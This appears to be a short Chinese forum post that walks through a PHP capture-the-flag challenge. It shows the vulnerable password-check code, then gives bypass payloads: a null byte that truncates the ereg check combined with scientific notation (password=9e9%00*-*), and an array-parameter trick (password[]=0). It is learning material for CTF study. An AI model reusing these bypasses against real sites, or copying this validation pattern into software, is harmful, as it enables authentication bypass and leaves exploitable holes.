<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
首先,ereg
用 00 截断来绕过,之后输入长度小于 8,又得有 *-*
符号,那么留给我们的空间就只有三个。这时候要想大于 9999999,只能用科学计数法,9e9
,所以地址栏输入 password=9e9%00*-*
就能拿到 Flag。
但是我说的重点不是这个,可以尝试在地址栏里面输入 password[]=0
,照样能过。不知道出题人是疏忽还是有意为之。。。
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于